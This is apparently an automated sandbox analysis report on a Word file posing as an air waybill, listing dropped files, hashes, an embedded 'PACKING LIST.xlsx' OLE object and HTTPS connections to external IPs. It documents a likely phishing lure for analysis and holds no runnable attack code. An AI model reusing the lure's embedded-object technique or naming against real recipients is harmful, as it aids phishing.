MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Roaming\Microsoft\Templates\Normal.dotm (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	19354
Entropy (8bit):	7.471024394306881
Encrypted:	false
SSDEEP:	384:Jrt+BNxt/ZtNNUSZfM4Y3dM4MeJdtmpPWHgP9r58G:VAxllN3Zk4Y0+HVG
MD5:	CFD4C8D75DE30B044474E350751CAA0C
SHA1:	256ED3E09301B7C4988614648CA7E0F27A7736EB
SHA-256:	08DF85B6C7468C1F813F60D60D48390091F37B5B16004A09950FBFEFACA2E616
SHA-512:	C1F3187967BD834D37E0B6238A5296FB1A41BAA2689FBC64F2E42BFADACE0F9AEC8AC0872526E5A0A220E90B78A170BFB2BDFD68ECFE26F9E10E778DD214185B
Malicious:	false
Preview:	PK..........!.Q3.p............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-J\X ......J..0....K......H...R.D.g..3.H....M!`.l.....J.j;...>.b.Fa...B....wz...<`F..K6.._s.r.F`.<X.T....7....U.._t:.\:...<&....A%&:f.9..H.hd..*1y.Lx.k)".........e..k.g.....)....&......A...3..WNN.U..e...<....'4(.....x.....nh.t.....p7..j..s...I@.w6.X..C.Tp...r+..^..F.N...".az...h.[!F.!...g...i"...C..n9.~l...3.....H..V..9.2.,)s..GZD..mo6M..a.!...q$.......O..r-.........PK..........!.........N......

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	3.7006362652174802
Encrypted:	false
SSDEEP:	3:KVGl/lilKlRAGl/iEPadkioI2zHMjOTaxZJIt/FqDm:KVy/4KDZiDdkLIqTT71Q6
MD5:	1E2992C912708AB31858DFFF24A2AF15
SHA1:	835CE82BB4732D1245538EA69CEF883EC73A3BF0
SHA-256:	DCF7D3AC6D5E3AB41C37D50045E3CE0EA0A267ACCDE682FEFCAD59B13967DDB6
SHA-512:	6B80C42D044F4A5EEAFC59163C2023CD550790C0EF59A4A8E228789CF519B852E761497359A169CD7E4466AB1B615965BCB17583DCF67F8AE1CD70F26D083380
Malicious:	false
Preview:	.user..................................................j.o.n.e.s.............p....V3.D/..Xz4kM..........i....p....V3.H@..0U3.8...8...M...........8...p..../..H@..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~WRD0000.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	19354
Entropy (8bit):	7.471024394306881
Encrypted:	false
SSDEEP:	384:Jrt+BNxt/ZtNNUSZfM4Y3dM4MeJdtmpPWHgP9r58G:VAxllN3Zk4Y0+HVG
MD5:	CFD4C8D75DE30B044474E350751CAA0C
SHA1:	256ED3E09301B7C4988614648CA7E0F27A7736EB
SHA-256:	08DF85B6C7468C1F813F60D60D48390091F37B5B16004A09950FBFEFACA2E616
SHA-512:	C1F3187967BD834D37E0B6238A5296FB1A41BAA2689FBC64F2E42BFADACE0F9AEC8AC0872526E5A0A220E90B78A170BFB2BDFD68ECFE26F9E10E778DD214185B
Malicious:	false
Preview:	PK..........!.Q3.p............[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-J\X ......J..0....K......H...R.D.g..3.H....M!`.l.....J.j;...>.b.Fa...B....wz...<`F..K6.._s.r.F`.<X.T....7....U.._t:.\:...<&....A%&:f.9..H.hd..*1y.Lx.k)".........e..k.g.....)....&......A...3..WNN.U..e...<....'4(.....x.....nh.t.....p7..j..s...I@.w6.X..C.Tp...r+..^..F.N...".az...h.[!F.!...g...i"...C..n9.~l...3.....H..V..9.2.,)s..GZD..mo6M..a.!...q$.......O..r-.........PK..........!.........N......

C:\Users\user\Desktop\~$B-M09CT560.docx.doc

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.8994759138794395
Encrypted:	false
SSDEEP:	3:KVGl/lilKlRAGl745BtBosl/uJGCovQY9n+k4JnI5cMn:KVy/4KD5qdo4mJGrvGLKn
MD5:	44B3E1398532CFD224FF31DCCFAFF096
SHA1:	58F321A8CB02A58C0B956B070A83DCAAC1D359DA
SHA-256:	3A52C543009E647598D950A82026230009D8CA3B1A866E401A0EFF31B9B3A6D6
SHA-512:	0121A6ABB0FBED51B206D70F6B88FD064497B4D1A0C181382536A999B205065A18DA9CB6D47B714090C90BDACDFEFC341A689D2A8BF82A2CC65797F3B6FA13F9
Malicious:	false
Preview:	.user..................................................j.o.n.e.s...9+.^HNIR.@..5.......H.fi2.C{....V.D.&.2xMJ....eSM.....F..*......0R[..!..}..i.........=.i

Static File Info

General

File type:	Microsoft Word 2007+
Entropy (8bit):	7.973254144292467
TrID:	Word Microsoft Office Open XML Format document (49504/1) 58.23% Word Microsoft Office Open XML Format document (27504/1) 32.35% ZIP compressed archive (8000/1) 9.41%
File name:	AWB-M09CT560.docx.doc
File size:	35'788 bytes
MD5:	f7c1cf4cd91138f1c612b34717f6a3d4
SHA1:	fb22da61844c7ee52b306675a5315db6d9f76f37
SHA256:	9c7fcd1b7917d8a13309d4cc1bd0eee6959fb8ed06ed358326a6f828697e4fd6
SHA512:	a39d518f1d985113d89ffa6a433aff2a7eb1b83c9d7d0bf2c5e86fdd13313f4277018cd16726e3b7d04344895699ce130727aa95066d12e7c49ac4478a736791
SSDEEP:	768:vWCQYFaatj9gLjkB85vsgRxyZIwL4q+txAwuiiqbXyPI:dQtAj9gcB8SgD/wLotGrPI
TLSH:	FFF2E0B1FB4E593BF56AC17165003D54C329B001C90D9753BAF09CCCAC7FA9A0949F42
File Content Preview:	PK..........]Y.4..m...........[Content_Types].xmlUT.....!g..!g..!g.T.n.0..W.?D....CUU..]......{.n..6..wL(.* m.K...[f<q...[..........p+....m....,Df.S.@I...pp}.......&.d....4..h.... R[.Y.W?....6.z...RnM....4....5...=..s....d.M]..sNI.".ta....... ,.k..V..z.

File Icon


Icon Hash:	35e1cc889a8a8599

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "AWB-M09CT560.docx.doc"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Title:
Subject:
Author:	91974
Keywords:
Template:	Normal.dotm
Last Saved By:	91974
Revion Number:	2
Total Edit Time:	1
Create Time:	2024-10-29T11:50:00Z
Last Saved Time:	2024-10-29T11:51:00Z
Number of Pages:	1
Number of Words:	3
Number of Characters:	18
Creating Application:	Microsoft Office Word
Security:	0

Document Summary

Number of Lines:	1
Number of Paragraphs:	1
Thumbnail Scaling Desired:	false
Company:	Grizli777
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	12.0000

Streams

Stream Path: \x1Ole10Native, File Type: data, Stream Size: 26683

General
Stream Path:	\x1Ole10Native
CLSID:
File Type:	data
Stream Size:	26683
Entropy:	7.593676128863785
Base64 Encoded:	True
Data ASCII:	7 h . . . . 4 . 4 6 6 3 6 4 _ 2 4 0 1 P A C K I N G L I S T . x l s x . C : \\ U s e r s \\ 9 1 9 7 4 \\ O n e D r i v e \\ D e s k t o p \\ W o r d F i l e \\ N E W F I L E S \\ 4 . 4 6 6 3 6 4 _ 2 4 0 1 P A C K I N G L I S T . x l s x . . . . . C . . . C : \\ U s e r s \\ 9 1 9 7 4 \\ A p p D a t a \\ L o c a l \\ T e m p \\ 4 . 4 6 6 3 6 4 _ 2 4 0 1 P A C K I N G L I S T . x l s x . e . . P K . . . . . . . . . . ! . . . . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . . ( . . . . . . .
Data Raw:	37 68 00 00 02 00 34 2e 34 36 36 33 36 34 5f 32 34 30 31 20 20 50 41 43 4b 49 4e 47 20 4c 49 53 54 2e 78 6c 73 78 00 43 3a 5c 55 73 65 72 73 5c 39 31 39 37 34 5c 4f 6e 65 44 72 69 76 65 5c 44 65 73 6b 74 6f 70 5c 57 6f 72 64 46 69 6c 65 5c 4e 45 57 46 49 4c 45 53 5c 34 2e 34 36 36 33 36 34 5f 32 34 30 31 20 20 50 41 43 4b 49 4e 47 20 4c 49 53 54 2e 78 6c 73 78 00 00 00 03 00 43 00

Stream Path: \x3ObjInfo, File Type: data, Stream Size: 6

General
Stream Path:	\x3ObjInfo
CLSID:
File Type:	data
Stream Size:	6
Entropy:	1.2516291673878228
Base64 Encoded:	False
Data ASCII:	. . . . . .
Data Raw:	00 00 03 00 0d 00

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 07:27:16.601125956 CET	49736	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:16.601174116 CET	443	49736	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:16.601242065 CET	49736	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:16.601916075 CET	49736	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:16.601927996 CET	443	49736	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:17.392834902 CET	443	49736	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:17.392910957 CET	49736	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:17.394993067 CET	49736	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:17.395001888 CET	443	49736	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:17.395205975 CET	443	49736	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:17.396598101 CET	49736	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:17.443330050 CET	443	49736	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:17.641499996 CET	443	49736	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:17.641594887 CET	443	49736	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:17.641722918 CET	49736	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:17.645164967 CET	49736	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:17.645181894 CET	443	49736	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:17.663270950 CET	49737	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:17.663331985 CET	443	49737	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:17.663522959 CET	49737	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:17.664963961 CET	49737	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:17.664978981 CET	443	49737	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:18.284784079 CET	443	49737	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:18.284862041 CET	49737	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:18.290668011 CET	49737	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:18.290697098 CET	443	49737	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:18.291038990 CET	443	49737	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:18.291095018 CET	49737	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:18.292454958 CET	49737	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:18.339345932 CET	443	49737	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:18.514622927 CET	443	49737	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:18.514703989 CET	49737	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:18.514739037 CET	443	49737	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:18.514785051 CET	49737	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:18.514792919 CET	443	49737	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:18.514836073 CET	49737	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:18.514862061 CET	443	49737	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:18.514939070 CET	49737	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:18.518073082 CET	49737	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:18.518104076 CET	443	49737	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:18.538734913 CET	49739	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:18.538786888 CET	443	49739	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:18.538867950 CET	49739	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:18.539113998 CET	49739	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:18.539129019 CET	443	49739	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:19.300729036 CET	443	49739	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:19.303652048 CET	49739	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:19.303678989 CET	443	49739	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:19.304563999 CET	49739	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:19.304570913 CET	443	49739	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:19.563182116 CET	443	49739	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:19.563254118 CET	443	49739	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:19.564515114 CET	49739	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:19.568962097 CET	49739	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:19.568983078 CET	443	49739	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:19.570336103 CET	49739	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:19.570347071 CET	443	49739	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:19.570691109 CET	49740	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:19.570736885 CET	443	49740	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:19.570831060 CET	49740	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:19.571063042 CET	49740	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:19.571072102 CET	443	49740	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:20.176964998 CET	443	49740	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:20.177927971 CET	49740	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:20.177944899 CET	443	49740	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:20.178786039 CET	49740	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:20.178796053 CET	443	49740	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:20.579343081 CET	443	49740	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:20.579418898 CET	443	49740	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:20.579498053 CET	49740	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:20.579675913 CET	49740	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:20.579698086 CET	443	49740	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:20.579706907 CET	49740	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:20.579713106 CET	443	49740	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:20.645394087 CET	49743	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:20.645452976 CET	443	49743	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:20.645531893 CET	49743	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:20.646158934 CET	49743	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:20.646172047 CET	443	49743	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:21.267177105 CET	443	49743	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:21.267323017 CET	49743	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:21.269794941 CET	49743	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:21.269808054 CET	443	49743	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:21.270092010 CET	49743	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:21.270097017 CET	443	49743	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:21.519872904 CET	443	49743	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:21.519937038 CET	443	49743	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:21.520052910 CET	49743	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:21.520255089 CET	49743	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:21.520282030 CET	443	49743	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:21.529098034 CET	49745	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:21.529138088 CET	443	49745	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:21.529237032 CET	49745	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:21.529500008 CET	49745	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:21.529516935 CET	443	49745	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:22.150527954 CET	443	49745	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:22.150593042 CET	49745	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:22.151504993 CET	49745	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:22.151520014 CET	443	49745	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:22.151799917 CET	49745	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:22.151808023 CET	443	49745	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:22.420394897 CET	443	49745	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:22.420450926 CET	443	49745	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:22.420480013 CET	443	49745	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:22.420504093 CET	443	49745	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:22.420600891 CET	443	49745	104.21.74.191	192.168.2.4
Oct 30, 2024 07:27:22.420675993 CET	49745	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:22.420675993 CET	49745	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:22.421593904 CET	49745	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:22.421593904 CET	49745	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:22.729013920 CET	49745	443	192.168.2.4	104.21.74.191
Oct 30, 2024 07:27:22.729063988 CET	443	49745	104.21.74.191	192.168.2.4
Oct 30, 2024 07:28:05.350452900 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:05.350522995 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:05.350608110 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:05.351044893 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:05.351062059 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.096118927 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.096299887 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.098159075 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.098176956 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.098584890 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.107506990 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.155332088 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.325368881 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.325443029 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.325486898 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.325553894 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.325642109 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.325685978 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.325710058 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.357325077 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.357373953 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.357429028 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.357494116 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.357542992 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.357542992 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.442217112 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.442253113 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.442323923 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.442353010 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.442379951 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.446432114 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.474912882 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.474946976 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.475019932 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.475047112 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.475650072 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.475949049 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.475974083 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.476032019 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.476043940 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.476692915 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.559451103 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.559490919 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.559556961 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.559587955 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.559604883 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.561244965 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.590684891 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.590720892 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.590765953 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.590802908 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.590818882 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.591943026 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.591975927 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.592025995 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.592041016 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.592056036 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.592082977 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.676834106 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.676863909 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.676991940 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.677021980 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.677211046 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.707461119 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.707489967 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.707629919 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.707644939 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.707844019 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.708595037 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.708619118 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.708668947 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.708677053 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.708758116 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.709290028 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.709314108 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.709364891 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.709371090 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.709559917 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.824527025 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.824563026 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.824629068 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.824727058 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.824726105 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.824764967 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.824784040 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.825172901 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.825196028 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.825208902 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.825215101 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.885963917 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.886017084 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.886118889 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.887495041 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.887548923 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.887557983 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.887600899 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.887622118 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.887658119 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.887842894 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.887845039 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.887854099 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.887860060 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.888175011 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.888191938 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.888850927 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.888865948 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.888927937 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.889028072 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.889039993 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:06.889055014 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:06.889062881 CET	443	49846	13.107.246.45	192.168.2.4
